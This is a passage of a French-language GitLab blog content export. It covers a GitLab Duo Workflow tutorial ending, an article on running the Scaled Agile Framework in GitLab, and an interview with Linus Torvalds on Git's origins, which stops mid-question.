`ProductTest.java`](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097627488.png)\n\n9. En consultant ce fichier `ProductTest.java`, vous remarquerez qu'il contient des déclarations d'importation soulignées en rouge indiquant des erreurs d'importation :\n\n![`ProductTest.java` inclut des déclarations d'importation en rouge indiquant des erreurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097627489.png)\n\nDemandons alors à GitLab Duo Workflow de les corriger à notre place.\n\n**Remarque** : nous aurions également pu demander à GitLab Duo Workflow dans notre premier prompt de mettre à jour le fichier `pom.xml`. Comme nous ne l'avons pas fait, nous allons donc corriger ces erreurs dans un nouveau workflow.\n\n## Correction des erreurs dans le code généré avec GitLab Duo Workflow\n\n10. Démarrez un nouveau workflow en cliquant sur le bouton **Nouveau workflow** en bas de la fenêtre d'analyse sur le côté droit de votre écran.\n\n![Bouton Nouveau workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097627491.png)\n\n11. Saisissez le prompt suivant :\n\n```unset\nThe file ProductTest.java has an error “The import org.junit cannot be resolved”. Please fix it\n```\n\n12. Approuvez le plan d'action proposé pour que GitLab Duo Workflow commence son analyse en lisant votre fichier `pom.xml` actuel, puis l'édite et supprime la dépendance JUnit obsolète en la remplaçant par la dépendance et la version correctes de JUnit. Enfin, GitLab Duo Workflow élimine toutes les erreurs de dépendance dans le fichier `ProductTest.java`.\n\n![GitLab Duo Workflow effectuant une analyse en lisant le fichier pom.xml](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097627492.png)\n\n## Tutoriel vidéo\n\nEn exécutant le plan d'action proposé, GitLab Duo Workflow met concrètement à jour votre projet afin de réaliser ce que vous lui avez demandé dans le prompt. Il vous aide à gagner un temps précieux, en toute simplicité, et augmente la productivité de votre équipe : vos équipes de développement peuvent ainsi consacrer plus de temps à innover et à créer de la valeur.\n\nPour découvrir ce guide étape par étape en action, regardez la vidéo du tutoriel :\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Tuj7TgqY81Q?si=RReuL1pUsLafvAzs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Inscrivez-vous à la [version bêta privée de GitLab Duo Workflow](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/ \"Version bêta privée de GitLab Duo Workflow\") pour découvrir ce qu'il est possible de faire avec des agents d'IA qui comprennent l'ensemble de votre cycle de développement logiciel.\n\n## En savoir plus sur GitLab Duo Workflow et l'IA agentique\n\n- [GitLab Duo Workflow : une IA agentique offrant visibilité et contrôle à l'échelle de l'entreprise](https://about.gitlab.com/fr-fr/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n- [Documentation GitLab Duo Workflow]( https://docs.gitlab.com/user/duo_workflow/)\n- [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/)\n- [IA agentique : libérez le potentiel des développeurs à grande échelle (The Source)](https://about.gitlab.com/the-source/ai/agentic-ai-unlocking-developer-potential-at-scale/)\n",[699,1067,1069,676,675],"2025-04-29",{"slug":1462,"featured":6,"template":683},"use-gitlab-duo-workflow-to-improve-application-quality-assurance","content:fr-fr:blog:use-gitlab-duo-workflow-to-improve-application-quality-assurance.yml","Use Gitlab Duo Workflow To Improve Application Quality Assurance","fr-fr/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance.yml","fr-fr/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance",{"_path":1468,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1469,"content":1475,"config":1484,"_id":1486,"_type":16,"title":1487,"_source":17,"_file":1488,"_stem":1489,"_extension":20},"/fr-fr/blog/safe-without-silos-in-gitlab",{"title":1470,"description":1471,"ogTitle":1470,"ogDescription":1471,"noIndex":6,"ogImage":1472,"ogUrl":1473,"ogSiteName":841,"ogType":842,"canonicalUrls":1473,"schema":1474},"Scaled Agile Framework : adoptez le framework SAFe avec GitLab ","Découvrez comment intégrer le Scaled Agile Framework (SAFe) aux fonctionnalités natives de la plateforme DevSecOps de GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","https://about.gitlab.com/blog/safe-without-silos-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Scaled Agile Framework : adoptez le framework SAFe avec GitLab \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2025-04-08\",\n      }",{"title":1470,"description":1471,"authors":1476,"heroImage":1472,"date":1478,"body":1479,"category":1480,"tags":1481,"updatedDate":1483},[1477],"Amanda Rueda","2025-04-08","Lorsqu'une entreprise décide d'adopter le Scaled Agile Framework (SAFe) pour s'adapter à ses nouveaux besoins, coordonner les équipes qui travaillent sur des produits complexes devient rapidement un enjeu de taille. Elle doit couramment faire face à un défi majeur : la planification s'effectue dans un outil, tandis que le travail de développement proprement dit est géré dans un autre.\n\nCette séparation crée des silos entre les équipes et entraîne une multitude de problèmes au quotidien : les équipes de développement passent constamment d'un système à l'autre, les chefs de produit peinent à obtenir une image précise de l'avancement des projets, et au final, ce sont tous les contributeurs aux projets qui perdent un temps précieux à transférer manuellement des informations entre les différents systèmes. Or, SAFe a précisément été conçu pour résoudre ce type d'expérience fragmentée.\n\nSi vos équipes de développement utilisent déjà GitLab pour la [gestion du code source](https://about.gitlab.com/fr-fr/solutions/source-code-management/ \"Gestion du code source\"), les processus [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") et la sécurité des logiciels, vous vous demandez peut-être s'il est possible d'y intégrer également la planification SAFe. La réponse est oui. Grâce à ses solides capacités de gestion de projets Agile, GitLab prend en charge le framework SAFe à chaque étape du développement logiciel. \n\nDans cet article, découvrez comment GitLab vous aide à mettre en place les concepts et les cérémonies SAFe, le tout au sein d'une seule et même plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\").\n\n## Qu'est-ce que le Scaled Agile Framework (SAFe) ?\n\nLe Scaled Agile Framework (SAFe) est une approche de gestion conçue pour appliquer les principes Agile à l'échelle des grandes entreprises. Il optimise la livraison de valeur, assure un alignement constant entre les équipes et se concentre sur les besoins des clients. \n\nSAFe transpose le modèle collaboratif et itératif des petites équipes aux environnements complexes des grandes entreprises impliquant de nombreuses équipes, parties prenantes et roadmaps. \n\nCette approche permet d'harmoniser tous les efforts de planification et d'exécution vers un objectif commun. Pour les chefs de produit, le Scaled Agile Framework (SAFe) fait le lien entre la stratégie et l'exécution : il ne s'agit pas uniquement de livrer rapidement, mais de livrer les bons produits, en s'appuyant sur des priorités claires et une coordination transversales entre les différentes équipes.\n\nSAFe réduit les silos, encourage la collaboration et aide les équipes à se mobiliser autour des résultats attendus par les clients, et non plus uniquement autour des tâches à accomplir. Une fois intégré à GitLab, la magie opère : visibilité, traçabilité et livraison sont réunies au sein d'une seule et même plateforme.\n\n## Correspondance de la terminologie SAFe dans GitLab\n\nVoici un aperçu des concepts SAFe et leur correspondance dans GitLab :\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Epic principal |\n| Capability | Sous-epic (niveau 1) |\n| Feature | Sous-epic (niveau 2) |\n| User story | Ticket |\n| Task | Tâche |\n| Team | Champ personnalisé / Label à portée limitée |\n| Sprint | Itération |\n| Program Increment (PI) | Jalon |\n| Value Stream | Groupe principal |\n| Agile Release Train (ART) | Groupe principal |\n\n\u003Cbr>\u003C/br>\n\nEn vous basant sur cette correspondance, vous pouvez configurer GitLab pour refléter fidèlement votre implémentation SAFe. La structure des groupes vous permet d'organiser vos équipes autour de vos chaînes de valeur (Value Stream) et de vos Agile Release Trains (ART), tandis que la hiérarchie des éléments de travail (avec jusqu'à sept niveaux d'epics imbriqués) vous offre toute la profondeur nécessaire pour gérer des portefeuilles produits complexes. Que vous travailliez au niveau du portefeuille (groupes principaux), du programme (sous-groupes) ou de l'équipe (projets), la structure organisationnelle de GitLab s'aligne parfaitement avec la hiérarchie SAFe.\n\n## Les cérémonies SAFe dans GitLab\n\nDécouvrez maintenant comment organiser vos cérémonies SAFe dans GitLab. Voici comment procéder, étape par étape.\n\n### Planification PI (Program Increment)\n\nPour faciliter l'alignement entre les équipes et la gestion des dépendances qui font le succès de la planification PI, GitLab offre plusieurs fonctionnalités :\n\n* La vue [Roadmap](https://docs.gitlab.com/user/group/roadmap/) :  visualisez les fonctionnalités par équipe et sur plusieurs périodes.\n* Les [jalons](https://docs.gitlab.com/user/project/milestones/) : associez chaque fonctionnalité au jalon correspondant à votre PI. \n* Les [dépendances](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues) : documentez et visualisez les dépendances entre équipes dès qu'elles sont identifiées.\n\nGitLab vous offre une grande flexibilité pour la planification PI grâce à deux vues principales : les tableaux des epics (qui peuvent être configurés pour afficher les affectations par équipe) et la vue Roadmap (qui affiche les fonctionnalités au fil du temps, façon diagramme de Gantt). Vous pouvez facilement passer d'une vue à l'autre pendant votre session de planification, selon que vous souhaitez vous concentrer sur la chronologie ou l'organisation des équipes.\n\n![Vue Roadmap et tableau des epics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Vue Roadmap avec diagramme de Gantt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Affinement\n\nEn tant que chef de produit, animer des sessions d'affinement efficaces repose sur une visibilité complète de votre backlog de fonctionnalités. Vous pouvez exécuter votre session d'affinement directement dans GitLab. Il n'est plus nécessaire de mettre à jour un outil pendant la réunion, puis un autre après coup. \n\nGitLab facilite les sessions d'affinement grâce aux éléments suivants :\n\n* Les [tableaux des epics](https://docs.gitlab.com/user/group/epics/epic_boards/) : regroupez les fonctionnalités en fonction de leur statut.  \n* Les story points : visualisez-les directement dans l'[aperçu](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic).  \n* Les [vues dans un volet latéral](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer) : interagissez avec vos éléments de travail sans jamais perdre de vue le contexte.   \n* Les [tickets enfants](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic) : créez et associez des tickets directement à partir des epics.\n\n![SAFe - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Planification de sprint\n\nGitLab vous offre tous les outils nécessaires pour planifier vos sprints sans frictions :\n\n* Les [tableaux des tickets](https://docs.gitlab.com/user/project/issue_board/) : visualisez clairement l'ensemble de votre backlog.  \n* Le [poids total](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights) des user stories : visualisez-le directement dans les tableaux.  \n* L'ordonnancement des tickets : déplacez les tickets entre les différentes itérations, par simple glisser-déposer. \n* Une vue repliable : simplifiez le réordonnancement des stories d'un sprint à l'autre.\n\nPlus besoin de jongler entre plusieurs outils, toute la planification se fait dans GitLab. Vous pouvez ainsi consacrer vos réunions de planification à prendre les bonnes décisions.\n\n![Planification de sprint avec GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 Consultez [ce tutoriel dédié à la mise en œuvre de la méthode Scrum avec GitLab](https://docs.gitlab.com/tutorials/scrum_events/) et découvrez en détail la puissance de GitLab dans la planification Agile et le suivi des sprints.*\n\n### Points quotidiens\n\nVotre équipe peut se réunir autour du tableau de bord lors de vos points quotidiens, plus besoin de naviguer entre plusieurs outils ou de deviner l'avancement des projets : tout est visible en un clin d'œil dans GitLab. Votre équipe voit instantanément qui travaille sur quoi, ce qui bloque, et ce qui est prêt pour la revue. GitLab vous permet d'effectuer les actions suivantes lors de vos points quotidiens :\n\n* Les tableaux [filtrés par itération](https://docs.gitlab.com/user/project/issue_board/#iteration-lists) : affichez le travail du sprint en cours.\n* Les story points : affichez le poids des stories directement sur les cartes. \n* La [vue du volet latéral](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer) : accédez aux détails sans quitter le contexte. \n* Les [indicateurs de progression](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status) : mettez en évidence les tâches à risque.\n\n![Tableau de réunions debout quotidiennes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Revue de sprint\n\nPour avoir une vision claire des performances de votre équipe au fil des sprints, GitLab met à votre disposition des indicateurs puissants avec les éléments suivants :\n\n* Des [graphiques d'avancement burndown et burnup](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts) : visualisez facilement l'avancement des itérations. \n* Le suivi de la vélocité : mesurez l'efficacité de votre équipe.  \n* Les [délais d'exécution et la durée de cycle](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics) : obtenez des indicateurs précis pour évaluer vos workflows.  \n* Des tableaux de bord personnalisables : créez des vues adaptées à chaque équipe.\n\nCes indicateurs vous aident à comprendre si votre équipe gagne en rapidité, à détecter les goulots d'étranglement et les points de friction à aborder lors de votre prochaine rétrospective.\n\n![Graphiques d'avancement burndown et burnup](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 bonnes raisons d'adopter une plateforme unifiée\n\nIl existe de nombreux outils de planification capables de gérer les cérémonies SAFe. Mais GitLab se distingue véritablement de ses concurrents pour les raisons suivantes :\n\n1. **Plus de changement de contexte** : la planification, le développement, les tests et la sécurité s'effectuent tous sur une seule plateforme.\n2. **Une traçabilité totale** : de l'épic stratégique et prioritaire jusqu'au déploiement, en passant par l'écriture du code, chaque élément est relié et facile à suivre.\n3. **Une collaboration efficace** : toutes les équipes (développement, produit, sécurité) collaborent dans le même outil.\n4. **Une visibilité instantanée** : toutes les parties prenantes accèdent aux informations clés mises à jour, sur une seule plateforme.\n5. **Une vue d'ensemble** : les indicateurs de planification et de développement sont regroupés pour comprendre exactement où en est le projet.\n\nSi vos équipes de développement apprécient déjà GitLab, pourquoi leur imposer un nouvel outil de planification ou créer des intégrations complexes et disparates ? En intégrant votre planification SAFe à GitLab, vous offrez à tous les contributeurs une expérience unifiée, cohérente et bien plus efficace.\n\n## Principes de mise en œuvre\n\nAprès avoir accompagné plusieurs équipes dans leur transition depuis des outils SAFe traditionnels vers GitLab, voici ce qu'il faut retenir : concentrez-vous sur **les objectifs propres à chaque cérémonie SAFe** plutôt que d'essayer de reproduire les processus de vos anciens outils.\n\nLes équipes qui tirent pleinement parti des fonctionnalités natives de GitLab sont plus performantes que celles qui essaient de les contourner. Cela demande un peu de travail au départ pour comprendre comment associer vos concepts SAFe et configurer vos workflows. Mais une fois cette étape franchie, vous constaterez rapidement que vos processus sont en réalité bien plus simples.\n\nLa clé du succès réside dans la définition de conventions partagées entre tous les contributeurs : quels labels utiliser ? Comment suivre les équipes ? Quelle différence entre un epic et un ticket ? En investissant un minimum d'effort dans cette phase de clarification, vous créez un système intuitif qui éliminera toute la charge de travail liée à la coordination entre les différents outils.\n\n## Mise en place du framework SAFe dans GitLab\n\nEnvie de vous lancer ? Voici les étapes pour mettre en œuvre un Scaled Agile Framework (SAFe) dans GitLab :\n\n1. **Structurez votre environnement** : créez des groupes et des sous-groupes qui [s'alignent sur l'organisation de vos équipes](https://about.gitlab.com/fr-fr/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).\n2. **Définissez la répartition de votre travail** : décidez comment vous allez utiliser les [epics](https://about.gitlab.com/fr-fr/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), les [tickets](https://docs.gitlab.com/user/project/issues/managing_issues/) et les [tâches](https://docs.gitlab.com/user/tasks/). \n3. **Créez vos itérations** : configurez votre [calendrier de sprints](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence).  \n4. **Ajoutez vos jalons** : les [jalons](https://docs.gitlab.com/user/project/milestones/#create-a-milestone) représentent vos Program Increments (PI) SAFe dans GitLab. \n5. **Personnalisez vos tableaux** : créez des vues dédiées à chaque cérémonie SAFe. \n6. **Accordez-vous sur des conventions** : documentez la façon dont vous utiliserez les labels et les champs personnalisés.\n\nPrendre le temps de bien poser ces bases dès le départ vous évitera bien des tracas par la suite. Votre configuration n'a pas besoin d'être parfaite dès le premier jour : vous pourrez faire des ajustements au fur et à mesure.\n\n## Rassemblez toutes les pièces du puzzle\n\nGitLab vous offre une base solide pour exécuter le Scaled Agile Framework (SAFe), en particulier si vos équipes de développement sont déjà adeptes de GitLab. En centralisant la planification et le développement dans un seul et même outil, vous éliminez les silos et les transferts fastidieux, facilitez la collaboration et accélérez la livraison de vos produits.\n\nLa flexibilité des outils de planification de GitLab vous permet d'adapter l'approche SAFe à vos besoins spécifiques. Vos équipes ne sont pas soumises à des workflows rigides : vous pouvez faire évoluer votre approche à mesure que vos équipes gagnent en maturité et que vos besoins changent.\n\n> Découvrez à quel point la planification sans effet de silo peut être plus simple et plus efficace. [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas) et simplifiez l'implémentation de votre approche SAFe.\n\n*💡 Pour en savoir plus à ce sujet, n'hésitez pas à consulter également cet article : [Comment utiliser GitLab pour le développement logiciel agile](https://about.gitlab.com/fr-fr/blog/gitlab-for-agile-software-development/)*\n","agile-planning",[1482,1067,675,676,1069],"agile","2025-05-12",{"slug":1485,"featured":92,"template":683},"safe-without-silos-in-gitlab","content:fr-fr:blog:safe-without-silos-in-gitlab.yml","Safe Without Silos In Gitlab","fr-fr/blog/safe-without-silos-in-gitlab.yml","fr-fr/blog/safe-without-silos-in-gitlab",{"_path":1491,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1492,"content":1498,"config":1504,"_id":1506,"_type":16,"title":1507,"_source":17,"_file":1508,"_stem":1509,"_extension":20},"/fr-fr/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds",{"title":1493,"description":1494,"ogTitle":1493,"ogDescription":1494,"noIndex":6,"ogImage":1495,"ogUrl":1496,"ogSiteName":841,"ogType":842,"canonicalUrls":1496,"schema":1497},"Git fête ses 20 ans : entretien avec son créateur Linus Torvalds","Linus Torvalds nous explique les origines de Git, pourquoi il en a confié la maintenance à Junio Hamano et ce qu'il pense de l'ajout de nouveaux langages de programmation à Git.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662510/Blog/Hero%20Images/git-20-years-opt1.png","https://about.gitlab.com/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git fête ses 20 ans : entretien avec son créateur Linus Torvalds\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2025-04-07\",\n      }\n                  ",{"title":1493,"description":1494,"authors":1499,"heroImage":1495,"date":1500,"body":1501,"category":928,"tags":1502,"updatedDate":1503},[1437],"2025-04-07","Le système de [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") Git a été introduit pour la première fois le 7 avril 2005 par Linus Torvalds, le créateur du noyau Linux. À l'occasion du 20e anniversaire de ce projet majeur, désormais adopté par la quasi-majorité des équipes de développement, nous nous sommes entretenus avec Linus sur l'histoire de [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \"). Nous lui avons notamment demandé pourquoi il en a délégué la maintenance et quelles sont les étapes clés du projet qu'il considère comme les plus importantes.\n\n**En 2005, vous étiez déjà le chargé de maintenance du noyau Linux, qui était alors en plein essor. Pourquoi avez-vous décidé de créer un nouveau système de contrôle de version ?**\n\nJe me suis lancé dans cette aventure précisément parce que je détestais profondément les outils de contrôle de version existants.\n\nJ'avais utilisé des systèmes de contrôle de version traditionnels (CVS/RCS/SCCS) à la fois en tant qu'utilisateur final (pour suivre des projets [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") comme [GCC](https://gcc.gnu.org/)) et en tant que développeur (quand je travaillais chez Transmeta, nous utilisions exclusivement CVS) et j'en avais une aversion profonde.\n\n\u003Cimg src=\"https://about.gitlab.com/images/blogimages/linustorvalds.png\" align=\"left\" width=\"200px\" style=\"padding-right: 20px; padding-bottom: 10px\"/>\n\nÀ l'époque, la plupart des projets qui utilisaient CVS étaient passés à [SVN](https://subversion.apache.org/), mais en vérité, j'ai toujours pensé que SVN n'était qu'une pâle copie de CVS malgré les quelques améliorations apportées à l'interface utilisateur ; aucun des défauts fondamentaux n'avaient été corrigés et de nouveaux problèmes étaient même apparus.\n\nImpossible d'énumérer ici tous les problèmes rencontrés avec CVS et les autres systèmes du même type. Ils sont de toute façon devenus obsolètes. Les développeurs les plus jeunes n'ont même probablement jamais eu à les utiliser. J'ai toujours refusé de m'en servir pour le noyau Linux, même si quelques sous-systèmes (notamment le côté mise en réseau) utilisaient CVS pour gérer leur code dans les années 1990.\n\nÀ l'époque, je vivais dans la région de la baie de San Francisco, et Larry McVoy, qui était à l'origine notamment du projet [lmbench](https://www.usenix.org/legacy/publications/library/proceedings/sd96/full_papers/mcvoy.pdf), avait lancé la société BitMover, qui proposait un nouveau modèle de contrôle de version appelé BitKeeper (BK).\n\nBK n'était pas open source, mais Larry appréciait les projets open source et pensait que l'absence d'un système de contrôle de version pertinent freinait le développement du noyau Linux. Il n'avait pas tort, mais les systèmes de [gestion du code source (SCM)](https://about.gitlab.com/fr-fr/solutions/source-code-management/ \"Gestion du code source\") traditionnels ne me convenaient absolument pas. Larry a pris le temps de nous montrer, à David Miller (chargé de maintenance réseau et utilisateur de CVS) et à moi, les avantages de BitKeeper.\n\nBK n'était pas parfait. Il s'appuyait sur Source Code Control System (SCCS) comme tant d'autres SCM traditionnels et souffrait donc du même modèle restrictif d'« historique par fichier », qui pose un réel problème, notamment lors du renommage et de la suppression de fichiers.\n\nBK présentait tout de même quelques avantages. Même s'il utilisait SCCS de base, il corrigeait des problèmes vraiment essentiels et gérait le développement distribué convenablement. Il offrait par ailleurs un véritable historique global (et non par fichier). Par conséquent, le merge de code provenant de différents arbres fonctionnait réellement.\n\nAvec CVS, créer une branche et la fusionner était un événement majeur que vous deviez planifier et discuter en équipe. Avec BK, chaque dépôt correspondait à une branche. C'est une pratique courante à présent. Bien évidemment, Git l'a encore améliorée en proposant plusieurs branches *par* dépôt, mais même le modèle BK beaucoup plus limité représentait déjà une avancée majeure à l'époque.\n\nEncore une fois, BK n'était pas parfait. Son modèle basé sur un historique par fichier posait de réels problèmes, car les opérations de renommage et de merge de fichiers n'étaient tout simplement pas fiables, entraînant inévitablement des dysfonctionnements comparables à ceux rencontrés avec Attic pour les utilisateurs de CVS. Par ailleurs, BK manquait de robustesse en matière d’évolutivité, des limites qui ne devenaient toutefois réellement problématiques qu’à mesure que le projet gagnait en ampleur ou en complexité.\n\nMais la nécessité d'acquérir une licence pour pouvoir l'utiliser constituait un véritable obstacle. Bien que de nombreux chargés de maintenance du noyau avaient fini par l'adopter (nous l'avons d'ailleurs utilisé de 2002 à 2005), cette contrainte restait une source de frictions qui a atteint son paroxysme fin 2004, rendant l'utilisation de BK pour le développement du noyau intenable quelques mois plus tard.\n\nAinsi, pendant trois ans, j'ai enfin pu utiliser un contrôle de version qui fonctionnait et qui m'aidait à résoudre de nombreux problèmes. Je ne pouvais plus me passer d'un système de contrôle de version. Entretemps, aucun outil open source plus performant n’avait vu le jour au sein de la communauté open source.\n\nBien sûr, il était de notoriété publique que CVS et SVN ne fonctionnaient pas bien. Certaines équipes ont même tenté d'autres approches, parfois encore pires (comme un suivi de correctifs sophistiqué) ; d'autres ont eu de bonnes idées, mais qui aboutissaient pourtant à de nouvelles erreurs de conception (comme [Monotone](https://www.monotone.ca/)).\n\nAprès un certain temps et des recherches infructueuses, j'ai finalement décidé de créer mon propre système.\n\nTechniquement, il ne m'a fallu que quelques jours pour créer la première version de Git, comme le prouve l'historique des commits. Dès que celle-ci a atteint un niveau de fonctionnalité suffisant, j'ai pu commencer à appliquer les correctifs proposés par d'autres contributeurs. Quelques jours plus tard, ma version était activement utilisée pour le développement du noyau.\n\nMais cette rapidité apparente cache un travail préparatoire de plusieurs mois de *réflexion*. Écrire du code est relativement facile. Le plus important, c'est la conception initiale. L'historique des commits que j'évoquais plus tôt ne montre pas tout le travail de fond effectué en amont.\n\nEt pour être honnête, cette première version était ultra rudimentaire et relativement basique par rapport aux nombreuses fonctionnalités que Git propose aujourd'hui. Mais elle incluait déjà les éléments clés de la structure fondamentale de Git.\n\n**Pouvez-vous nous donner un bref aperçu des débuts du projet Git ?**\n\nEn somme, j'avais décidé de suspendre le développement du noyau tant que je n'aurais pas d'alternative qui me convenait : un système distribué, performant et capable de garantir la détection de toute corruption de fichiers.\n\nJe tiens cependant à souligner que je n'étais pas intéressé par les SCM en tant que tels. Ce qui m'importait, c'était le résultat final, pas le processus. Pour moi, Git n'avait pas le même intérêt que le noyau Linux : j'utilise Linux parce que je trouve que le fonctionnement des noyaux est fascinant, mais j'ai créé Git par obligation, pas par passion.\n\nD'où le fait que j'en ai délégué la maintenance.\n\n**Pourquoi avez-vous confié la maintenance de Git à Junio Hamano après quelques mois ? Pourquoi avez-vous choisi Junio ?**\n\nTransmettre la maintenance de Git était un choix évident. Je savais dès le départ que je me concentrerais de nouveau uniquement sur le noyau dès que j'aurais trouvé une personne de confiance à qui déléguer la maintenance.\n\nCela ne signifie pas pour autant que j'ai tout laissé tomber en priant pour que tout se passe bien. J'ai assuré la maintenance de Git pendant environ quatre mois, car je sentais que je devais trouver la perle rare qui s'investirait sur le long terme.\n\nJunio a été l'une des toutes premières personnes impliquées dans ce projet, dès la première semaine de développement. Mais je ne lui ai pas attribué ce rôle dès le départ. Il m'a fallu un certain temps pour voir qui restait, qui écrivait du code pertinent et qui prenait des décisions stratégiques.\n\nJunio s'est montré exceptionnel. On me donne bien trop de crédit pour les quelques mois que j’ai passés sur Git, notamment pour la célébration du 20e anniversaire de l’existence du projet. Je revendique avoir optimisé la conception centrale et lancé le projet, mais c'est vraiment grâce à Junio (et à des centaines d’autres contributeurs) que Git est ce qu’il est aujourd’hui.\n\n**La version initiale du système de contrôle de version Mercurial est sortie seulement 12 jours après la version initiale de Git, le 19 avril 2005. Beaucoup prétendent que l'expérience utilisateur de Mercurial était supérieure à celle de Git, mais de nos jours, Git est nettement plus populaire. Pour quelles raisons d'après vous ?**\n\nC'est en grande partie dû aux effets de réseau des SCM qui ont permis à CVS de survivre aussi longtemps malgré ses limites.\n\nLe fait que le noyau Linux utilise Git a joué un rôle majeur. Plus tard, la communauté Ruby on Rails a largement contribué à sa popularité, avant que l'utilisation de Git ne se généralise dans toutes les communautés de développeurs.\n\nMais je pense aussi que la conception de Git est fondamentalement supérieure. Son architecture est à la fois très simple et extrêmement puissante, ce qui, selon moi, a facilité son adaptation à d'autres environnements, comme JGit et des implémentations plus récentes telles que le système de fichiers virtuel MSgit, et bien d'autres encore.\n\nBien que Git avait la réputation d’être un outil difficile à prendre en main, les utilisateurs habitués à d'autres systèmes SCM le trouvaient contre-intuitif. Cette complexité provenait en partie du fait que Git avait adopté certains choix audacieux que jamais un utilisateur habitué aux systèmes traditionnels n'aurait osé faire.\n\n**Le projet Git a toujours été actif depuis que vous en avez confié la maintenance à Junio, et sa communauté développe en permanence de nouvelles fonctionnalités. Selon vous, quelles ont été les étapes clés depuis que vous avez quitté le projet ?**\n\nDifficile pour moi de répondre à cette question. J'ai évidemment tout fait pour que Git convienne à mes propres besoins. Les fonctionnalités que j'utilisais *moi-même* étaient opérationnelles dès le premier jour. Faire en sorte que Git fonctionne sur Windows était évidemment une étape importante pour beaucoup de développeurs, mais cela n'a eu absolument aucun impact sur *moi* ;)\n\nIl est évident que Git possède toute l'infrastructure nécessaire pour le rendre beaucoup plus facile à utiliser, mais je pense que les étapes majeures ont surtout concerné les projets construits autour de l'infrastructure Git. Ces développements sont par la suite souvent intégrés aux fonctionnalités de Git, mais, en réalité, les étapes clés sont souvent liées à des projets externes.\n\nPar exemple, les grandes plateformes d'hébergement Git ont constitué des étapes importantes. Le modèle distribué de Git a grandement facilité leur création, mais la véritable *étape* a été la façon dont elles ont rendu Git tellement plus accessible et pratique pour les utilisateurs et les équipes travaillant sur divers projets.\n\n**Si vous aviez la possibilité de travailler à nouveau sur Git à plein temps, qu'aimeriez-vous implémenter ?**\n\nAbsolument rien. Git me convenait parfaitement dès le début. Mon utilisation est en fait assez limitée et je ne m'intéresse vraiment qu'à un seul projet.\n\nComme je l'ai expliqué précédemment, je n'ai jamais vraiment été passionné par les SCM. Git a fini par se différencier positivement des autres SCM, car je l'ai traité comme un système de fichiers distribué basé sur les logs, et non comme un SCM traditionnel.\n\n**Y a-t-il une 